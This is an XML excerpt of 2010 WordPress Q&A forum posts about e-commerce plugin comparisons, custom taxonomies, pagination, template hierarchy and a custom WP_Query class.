  <row Id="2622" PostTypeId="2" ParentId="2603" CreationDate="2010-10-05T23:03:02.907" Score="7" ViewCount="" Body="&lt;p&gt;I have used both plugins. I tested them both extensively and have built and delivered client websites on both platforms. My tests were conducted over a year ago before I went with my preferred (Shopp) but here is what I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP Commerce at the time had buggy code, poorly written markup and many elements were not given classes/id's making it hard to format via CSS. Support was almost non existent in fact I got better support from a guy named Shayne Sanderson who isn't even one of the developers (wrote an unoffical guide to the plugin though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their forum was poorly tended and the plugin was poorly documented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matt Mullenweg mentioned at a  recent WordCamp that they have rewritten the plugin to use Custom post types. So they may have improved their code since I last looked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shopp on the other hand has proven to be more robust, better coded, and much better supported (at the time of testing). Yes they are a paid for plugin but they are also totally GPL. Their forums are well tended and questions are usually answered by a developer and with minimal delays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP commerce does have paid modules for their plugin which can extend its functionality beyond that of what Shopp can do but Shopp is far better documented for those interested in extending it's functionality themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of testing both provided the same core functionality and both handled the same payment options. I personally preferred Shopp as it was easier to get up and running, integrated with themes with less tweaking required, and was easier to use (for the client). The superior support was an added plus.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditorDisplayName="" LastEditDate="2010-10-07T03:29:17.763" LastActivityDate="2010-10-07T03:29:17.763" />
  <row Id="2623" PostTypeId="1" AcceptedAnswerId="5404" CreationDate="2010-10-06T01:06:56.960" Score="4" ViewCount="1094" Body="&lt;p&gt;I have two custom taxonomies applied to two custom post types. the terms list on the sidebar just fine and will list all posts associated with it. However, if you search one of the terms in specific, it doesn't bring up a post with that term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://dev.andrewnorcross.com/das/all-case-studies/&quot; rel=&quot;nofollow&quot;&gt;http://dev.andrewnorcross.com/das/all-case-studies/&lt;/a&gt;&#xA;Search for term &quot;PQRI&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get nothing. Any ideas? I've tried using various search plugins but they either break my custom search parameters or just don't work.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-06T17:17:40.507" LastActivityDate="2011-03-15T05:11:14.053" Title="Include custom taxonomy term in search" Tags="&lt;custom-post-types&gt;&lt;plugin-recommendation&gt;&lt;custom-taxonomy&gt;&lt;search&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="2624" PostTypeId="1" CreationDate="2010-10-06T01:56:42.063" Score="1" ViewCount="135" Body="&lt;p&gt;I am trying to set up Wordpress for a client who uses XO Communications as a host.  However, getting Wordpress set up is driving me nuts.  I keep getting this error message &lt;em&gt;(wrapping message for clarity)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: main(./wordpress/wp-blog-header.php) &#xA;[function.main]: failed to open stream: &#xA;No such file or directory in /web/wordpress/index.php on line 17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have manually installed the latest release of WP. The admin area is working fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set my general configurations as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WP: &lt;a href=&quot;http://newyorkharborschool.org/wordpress&quot; rel=&quot;nofollow&quot;&gt;http://newyorkharborschool.org/wordpress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Site: newyorkharborschool.org/wordpress&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I modified the index file with this code: &lt;code&gt;require('./wordpress/wp-blog-header.php');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked and wp-blog-header exists and is in the wordpress directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried reinstalling Wordpress. None of that worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried downgrading Wordpress: XO offers a one-click installation of an old (2.2.3) version of Wordpress. After downgrading, pages and posts displayed. However, when I upgraded I get the above error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help. This is driving me nuts!&#xA;Jeff&lt;/p&gt;&#xA;" OwnerUserId="1097" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-06T07:25:04.223" LastActivityDate="2010-10-09T14:57:07.613" Title="Cannot get pages or posts to display" Tags="&lt;installation&gt;&lt;configuration&gt;&lt;post-installation&gt;" AnswerCount="3" />
  <row Id="2626" PostTypeId="2" ParentId="2603" CreationDate="2010-10-06T02:32:35.873" Score="2" ViewCount="" Body="&lt;p&gt;I've used both, and I would choose Shopp every time (so much so that I purchased a developer's license). As Ash had mentioned, the code for WP-ecommerce was quite buggy when I used it and it basically broke Thesis (a framework I've used a lot). For something as important as e-commence, I don't think paying for a product is too out of line. After all, you get what you pay for.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-10-06T02:32:35.873" />
  <row Id="2627" PostTypeId="2" ParentId="2624" CreationDate="2010-10-06T03:06:20.517" Score="0" ViewCount="" Body="&lt;p&gt;what's this for?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require('./wordpress/wp-blog-header.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you want to include file in wordpress directory which is &lt;strong&gt;below&lt;/strong&gt; your current dir:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require('/wordpress/wp-blog-header.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2010-10-06T03:06:20.517" CommentCount="2" />
  <row Id="2628" PostTypeId="2" ParentId="2624" CreationDate="2010-10-06T05:47:36.253" Score="2" ViewCount="" Body="&lt;p&gt;Did you get clean copy of WordPress for reinstall (like went and downloaded from wordpres.org)? That line should be following (&lt;a href=&quot;http://core.svn.wordpress.org/trunk/index.php&quot; rel=&quot;nofollow&quot;&gt;SVN&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require('./wp-blog-header.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it absolutely should not be edited since it is part of WordPress core.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T05:47:36.253" />
  <row Id="2629" PostTypeId="2" ParentId="2612" CreationDate="2010-10-06T06:02:30.927" Score="2" ViewCount="" Body="&lt;p&gt;There are often issues with setting up email subscriptions. Hosting providers are very tired of spam and often put harsh restrictions on email rate and volume, especially for cheaper hosting plans.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice such feature is often implemented with help of external service. FeedBurner is popular for this, because a lot of people use it for feeds anyway and it provides decent email subscription option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.google.com/support/feedburner/bin/answer.py?hl=en&amp;amp;answer=78982&quot; rel=&quot;nofollow&quot;&gt;FeedBurner Email Overview and FAQ&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T06:02:30.927" CommentCount="1" />
  <row Id="2630" PostTypeId="2" ParentId="2612" CreationDate="2010-10-06T06:21:33.673" Score="1" ViewCount="" Body="&lt;p&gt;You could take a look at WP Responder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wpresponder.com&quot; rel=&quot;nofollow&quot;&gt;http://www.wpresponder.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports providing email subscription to all blog posts as well as particular blog categories. &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-10-06T06:21:33.673" />
  <row Id="2631" PostTypeId="2" ParentId="2621" CreationDate="2010-10-06T07:12:37.983" Score="4" ViewCount="" Body="&lt;p&gt;There is &lt;a href=&quot;http://wordpress.org/extend/plugins/google-xml-sitemaps-with-multisite-support/&quot; rel=&quot;nofollow&quot;&gt;Google XML Sitemaps with Multisite support&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the development version of the original &lt;a href=&quot;http://wordpress.org/support/topic/plugin-google-xml-sitemaps-early-testers-wanted/page/2#post-1721335&quot; rel=&quot;nofollow&quot;&gt;Google XML Sitemaps&lt;/a&gt;. It seems to be working fine for some people.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-10-06T07:12:37.983" />
  <row Id="2632" PostTypeId="2" ParentId="2593" CreationDate="2010-10-06T08:40:58.117" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@dotty:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer from &lt;em&gt;@sorich87&lt;/em&gt; is correct, but I thought I'd elaborate a bit.  I've coded a class for you called &lt;em&gt;(verbosely)&lt;/em&gt; &lt;code&gt;LatestPostPerPostTypeQuery&lt;/code&gt; and you can use it in &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the loop&lt;/strong&gt;&lt;/a&gt; in place of &lt;code&gt;WP_Query&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php $args = array('post_type'=&amp;gt;'events,winners,offers'); ?&amp;gt;&#xA;&amp;lt;?php $query = new LatestPostPerPostTypeQuery($args); ?&amp;gt;&#xA;&amp;lt;?php while($query-&amp;gt;have_posts()): $query-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the code for the &lt;code&gt;LatestPostPerPostTypeQuery&lt;/code&gt; class which you can copy into your theme's &lt;code&gt;functions.php&lt;/code&gt; file &lt;em&gt;(or use the code in a plugin if you like.)&lt;/em&gt; The nice thing about this alternative to &lt;code&gt;WP_Query&lt;/code&gt; is it does a &lt;em&gt;single query&lt;/em&gt; to the database instead of &lt;em&gt;one for each of the three post types&lt;/em&gt; like you'd be forced to use when using &lt;code&gt;WP_Query()&lt;/code&gt; directly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;class LatestPostPerPostTypeQuery extends WP_Query {&#xA;  var $flag;&#xA;  function __construct($args=array()) {&#xA;    $this-&amp;gt;LatestPostPerPostTypeQuery($args);&#xA;  }&#xA;  function LatestPostPerPostTypeQuery($args=array()) {&#xA;    if (isset($args['post_type']) &amp;amp;&amp;amp; !is_array($args['post_type']))&#xA;      $args['post_type'] = explode(',',$args['post_type']);&#xA;    $this-&amp;gt;flag = true;&#xA;    parent::query($args);&#xA;  }&#xA;  static function on_load() {&#xA;    add_filter('posts_join',array(__CLASS__,'posts_join'),10,2);&#xA;  }&#xA;  static function posts_join($join,$query) {&#xA;    if (isset($query-&amp;gt;flag)) {&#xA;      global $wpdb;&#xA;      $join .=&amp;lt;&amp;lt;&amp;lt;SQL&#xA;INNER JOIN (&#xA;SELECT post_type,MAX(post_date) AS post_date&#xA;FROM {$wpdb-&amp;gt;posts}&#xA;GROUP BY post_type) max_date ON &#xA;  max_date.post_type={$wpdb-&amp;gt;posts}.post_type AND &#xA;  max_date.post_date={$wpdb-&amp;gt;posts}.post_date&#xA;SQL;&#xA;    }&#xA;    return $join;&#xA;  }&#xA;}&#xA;LatestPostPerPostTypeQuery::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also posted &lt;a href=&quot;http://gist.github.com/613011&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;a standalone file on Gist&lt;/strong&gt;&lt;/a&gt; allowing you grab the source code and drop the  example into a file in the root of your website to call it directly from the browser to watch it in action:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gist.github.com/613011&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;latest-post-per-post-type-query.php&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-06T08:40:58.117" />
  <row Id="2633" PostTypeId="2" ParentId="990" CreationDate="2010-10-06T09:21:48.610" Score="4" ViewCount="" Body="&lt;p&gt;The easiest way to create a patch is described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/download/svn/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/download/svn/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I create patches from older&#xA;  version or must I use trunk?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should create the patch against the same version you want it applied against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, don't expect a patch created against WP 3.0.1 to apply cleanly on WP 3.1-alpha.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I'm working on a project using the released version (3.0.1) can I modify it and create a patch for core or do I have to download and set up a pristine and new copy of trunk and newly make my modifications there?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't have to set up a new installation for each new patch. You can just use &lt;em&gt;svn revert&lt;/em&gt; to get back to a pristine copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the database doesn't have to be clean each time. Actually, it's better if you have some modifications, to simulate a live environment.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-10-06T09:21:48.610" />
  <row Id="2634" PostTypeId="1" AcceptedAnswerId="2635" CreationDate="2010-10-06T10:34:08.317" Score="1" ViewCount="209" Body="&lt;p&gt;Hay, i have a custom post type &quot;Events&quot;, however this is basically a post type, so it inherits the post.php template page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to use a different template (i.e events.php) if the content type is an 'event'?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-01-30T11:16:52.277" Title="display different template based on post type" Tags="&lt;custom-post-types&gt;&lt;template&gt;" AnswerCount="2" />
  <row Id="2635" PostTypeId="2" ParentId="2634" CreationDate="2010-10-06T10:45:15.690" Score="5" ViewCount="" Body="&lt;p&gt;Try &lt;code&gt;single-events.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; in Codex for full scheme of templates.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T10:45:15.690" CommentCount="2" />
  <row Id="2636" PostTypeId="1" AcceptedAnswerId="2637" CreationDate="2010-10-06T10:56:20.520" Score="1" ViewCount="798" Body="&lt;p&gt;I have a hierarchical taxonomy called 'tarefa'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to display all posts from a child taxonomy. I used &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_children&quot; rel=&quot;nofollow&quot;&gt;get_term_children function&lt;/a&gt; function to verify if the taxonomy parent has children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the taxonomy parent has children I will query posts by taxonomy children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is:&lt;br&gt;&#xA;I have to query posts by taxonomy slug but the function get_term_children return an array of taxonomy IDS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is:&lt;br&gt;&#xA;How can I return a taxonomy slug by a taxonomy ID?&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2010-10-06T11:10:18.807" Title="Get term SLUG by term ID" Tags="&lt;custom-taxonomy&gt;&lt;get-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="2637" PostTypeId="2" ParentId="2636" CreationDate="2010-10-06T11:10:18.807" Score="1" ViewCount="" Body="&lt;p&gt;I have bit of trouble understanding your question. Taxonomy (like &lt;code&gt;category&lt;/code&gt;) slug or term (like &lt;code&gt;uncategorized&lt;/code&gt;) slug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_term_children()&lt;/code&gt; works with terms so I will stick with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = get_term( $id, $taxonomy );&#xA;$slug = $term-&amp;gt;slug;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T11:10:18.807" CommentCount="1" />
  <row Id="2638" PostTypeId="1" AcceptedAnswerId="2641" CreationDate="2010-10-06T11:16:55.033" Score="0" ViewCount="524" Body="&lt;p&gt;My pagination is only linking to the same posts that are on my front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 posts on my front page, when I press next it goes to /page/2 but only shows the same 3 posts, with no previous button. The next button is still there, but still goes to page/1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;            query_posts('post_type=post&amp;amp;posts_per_page=3');&#xA;&#xA;            if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA;            $category = choose_one_category(get_the_category());&#xA;&#xA;            switch ($category){&#xA;                case &quot;Festival News&quot;:&#xA;                    $left[] = $post;&#xA;                    break;&#xA;                case &quot;Industry News&quot;:&#xA;                    $centre[] = $post;&#xA;                    break;&#xA;                case &quot;Other&quot;:&#xA;                    $right[] = $post;&#xA;                    break;&#xA;            }&#xA;&#xA;&#xA;            endwhile; &#xA;            ?&amp;gt;&#xA;            &amp;lt;div class=&quot;custom-pagination&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div &amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;laquo; Previous') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div &amp;gt;&amp;lt;?php next_posts_link('Next &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif;&#xA;&#xA;&#xA;&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2010-10-06T12:31:29.640" LastActivityDate="2011-02-09T14:23:57.320" Title="Pagination resolving to first page only" Tags="&lt;pagination&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="2639" PostTypeId="2" ParentId="2638" CreationDate="2010-10-06T11:41:23.580" Score="0" ViewCount="" Body="&lt;p&gt;Pagination functions are meant to be used with main Loop. They are relying on global variables &lt;code&gt;$paged&lt;/code&gt; and &lt;code&gt;$wp_query&lt;/code&gt;, which are not set by your custom loop.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T11:41:23.580" CommentCount="4" />
  <row Id="2640" PostTypeId="2" ParentId="2136" CreationDate="2010-10-06T12:32:01.667" Score="0" ViewCount="" Body="&lt;p&gt;i'm having the very same issue.   fighting for 3 hours now.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-06T12:32:01.667" />
  <row Id="2641" PostTypeId="2" ParentId="2638" CreationDate="2010-10-06T13:06:41.433" Score="3" ViewCount="" Body="&lt;p&gt;Building off of what Rarst has said, I'm pretty sure the query string will retain 'paged' queries even if &lt;code&gt;WP_Query&lt;/code&gt; strips it out as irrelevant.  You could try replacing your query posts line with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;parse_str( $query_string, $my_query_array );&#xA;$paged = ( isset( $my_query_array['paged'] ) &amp;amp;&amp;amp; !empty( $my_query_array['paged'] ) ) ? $my_query_array['paged'] : 1;&#xA;query_posts('post_type=post&amp;amp;posts_per_page=3&amp;amp;paged='.$paged);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-10-06T13:06:41.433" CommentCount="2" />
  <row Id="2642" PostTypeId="1" AcceptedAnswerId="2648" CreationDate="2010-10-06T13:28:05.877" Score="1" ViewCount="42" Body="&lt;p&gt;Does anybody know of any good publicly-available Wordpress training materials (videos, manuals, etc.) that could be used to give content editors a basic overview of Wordpress. We have a a handful of blogs on a Wordpress server and I'd really like to be able to automate training some more.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2010-10-06T14:43:36.007" Title="User Training Materials" Tags="&lt;documentation&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2643" PostTypeId="2" ParentId="2642" CreationDate="2010-10-06T13:30:43.787" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://lynda.com&quot; rel=&quot;nofollow&quot;&gt;lynda&lt;/a&gt; has a great series&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-06T13:30:43.787" />
  <row Id="2644" PostTypeId="2" ParentId="2592" CreationDate="2010-10-06T13:34:19.290" Score="1" ViewCount="" Body="&lt;p&gt;I use WP-Minify. It's good too.&lt;/p&gt;&#xA;" OwnerUserId="1017" LastActivityDate="2010-10-06T13:34:19.290" />
  <row Id="2645" PostTypeId="1" AcceptedAnswerId="2647" CreationDate="2010-10-06T13:38:35.000" Score="0" ViewCount="117" Body="&lt;p&gt;I want to have my front page, with three columns, each assigned to a different category. Ideally I would like to query to fetch one post, per column, per page where possible, leaving the column empty if not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current loop simply gets 3 posts at a time. It is reasonable to assume that the 3 will not be one of each category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;            global $query_string;&#xA;            parse_str( $query_string, $my_query_array );&#xA;            $paged = ( isset( $my_query_array['paged'] ) &amp;amp;&amp;amp; !empty( $my_query_array['paged'] ) ) ? $my_query_array['paged'] : 1;&#xA;            query_posts('post_type=post&amp;amp;posts_per_page=3&amp;amp;paged='.$paged);&#xA;&#xA;&#xA;            if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;&#xA;            $category = choose_one_category(get_the_category());&#xA;&#xA;            switch ($category){&#xA;                case &quot;Festival News&quot;:&#xA;                    $left[] = $post;&#xA;                    break;&#xA;                case &quot;Industry News&quot;:&#xA;                    $centre[] = $post;&#xA;                    break;&#xA;                case &quot;Other&quot;:&#xA;                    $right[] = $post;&#xA;                    break;&#xA;            }&#xA;&#xA;&#xA;            endwhile; &#xA;            ?&amp;gt;&#xA;            &amp;lt;div class=&quot;custom-pagination&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div &amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;laquo; Previous') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div &amp;gt;&amp;lt;?php next_posts_link('Next &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif;&#xA;&#xA;&#xA;&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-06T14:41:03.067" Title="How can i call an article from each category and still paginate properly?" Tags="&lt;categories&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="2646" PostTypeId="2" ParentId="2638" CreationDate="2010-10-06T14:17:55.257" Score="0" ViewCount="" Body="&lt;p&gt;Is this on your home page? I had this problem as well and as a workaround, I simply made the link on the first page point to &lt;a href=&quot;http://www.yoursite.com/category/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://www.yoursite.com/category/page/2/&lt;/a&gt; so it skips the first set of values for page one. From there on, the pagination links worked correctly. &lt;a href=&quot;http://www.paragonhondainfo.com&quot; rel=&quot;nofollow&quot;&gt;Here is an example&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2010-10-06T14:17:55.257" CommentCount="2" />
  <row Id="2647" PostTypeId="2" ParentId="2645" CreationDate="2010-10-06T14:41:03.067" Score="1" ViewCount="" Body="&lt;p&gt;My recommendation would be to use a separate query for each column - getting 1 post per category - and pass the global &lt;code&gt;$paged&lt;/code&gt; variable into each.  This &lt;em&gt;should&lt;/em&gt; exhibit the behavior you described in your question (at least it does on my site).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;My setup&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I have a top section that displays the 5 most recent posts from the &quot;featured&quot; category if you're on page 1 only.  Then I have a sidebar that displays the first page of posts from each of 3 primary categories, each using their own query with &lt;code&gt;posts_per_page=1&lt;/code&gt;.  Then I have the main section that displays all posts normally with 5 posts on each page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first page returns my featured posts in a slider, the regular post section below it, and the first post from my three core categories in the sidebar.  Page 2 hides the &quot;featured&quot; slider, returns the next 5 posts overall in the main section and the second post in each of my core categories.  Page 3 and beyond do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you'll need is not one loop over 3 categories, but 3 loops each over a single category and each using the global &lt;code&gt;$paged&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-06T14:41:03.067" CommentCount="2" />
  <row Id="2648" PostTypeId="2" ParentId="2642" CreationDate="2010-10-06T14:43:36.007" Score="2" ViewCount="" Body="&lt;p&gt;Interconnect/Spectacula folks manage free &lt;a href=&quot;http://spectacu.la/wordpress-30-user-guide/&quot; rel=&quot;nofollow&quot;&gt;WordPress User Guide&lt;/a&gt; for training users.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T14:43:36.007" />
  <row Id="2649" PostTypeId="1" CreationDate="2010-10-06T15:02:58.133" Score="1" ViewCount="559" Body="&lt;p&gt;I have a custom post type for musician's profiles, and a taxonomy for their location (categorised hierachically into Countries and then Cities). On the musician's individual profile pages I need to display a list of musicians in the same city (i.e. the child taxonomy). It'd also be good to display posts in the same country seperately (the parent taxonomy). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be retrieving the taxonomy dynamically, seperating the parent and child taxonomies and using these in a new loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can display a list of the taxonomies, and strip out the links...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_term_list( $post-&amp;gt;ID, 'locations', '', ', ', '' ) ;&#xA;echo strip_tags($terms);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which returns a result like this: New York, USA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I can easily loop through posts by a fixed taxonomy value...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query( array( 'locations' =&amp;gt; 'new-york', 'showposts' =&amp;gt; 10 ) ); ?&amp;gt;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am having problems combining the two:&#xA;as far as I can tell 'get_the_term_list' doesn't have the ability to return only one taxonomy, and there doesn't seem to be a taxonomy equivalent of 'get_the_category'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated!!!&lt;/p&gt;&#xA;" OwnerUserId="895" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-07T10:05:37.083" LastActivityDate="2011-05-04T18:05:30.217" Title="Displaying Posts Related to Other Posts by a Taxonomy Term?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="2650" PostTypeId="2" ParentId="2649" CreationDate="2010-10-06T15:12:38.133" Score="2" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_object_terms()&lt;/code&gt;&lt;/a&gt;, it's more general function and what &lt;code&gt;get_the_category()&lt;/code&gt; uses internally.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-06T15:12:38.133" CommentCount="8" />
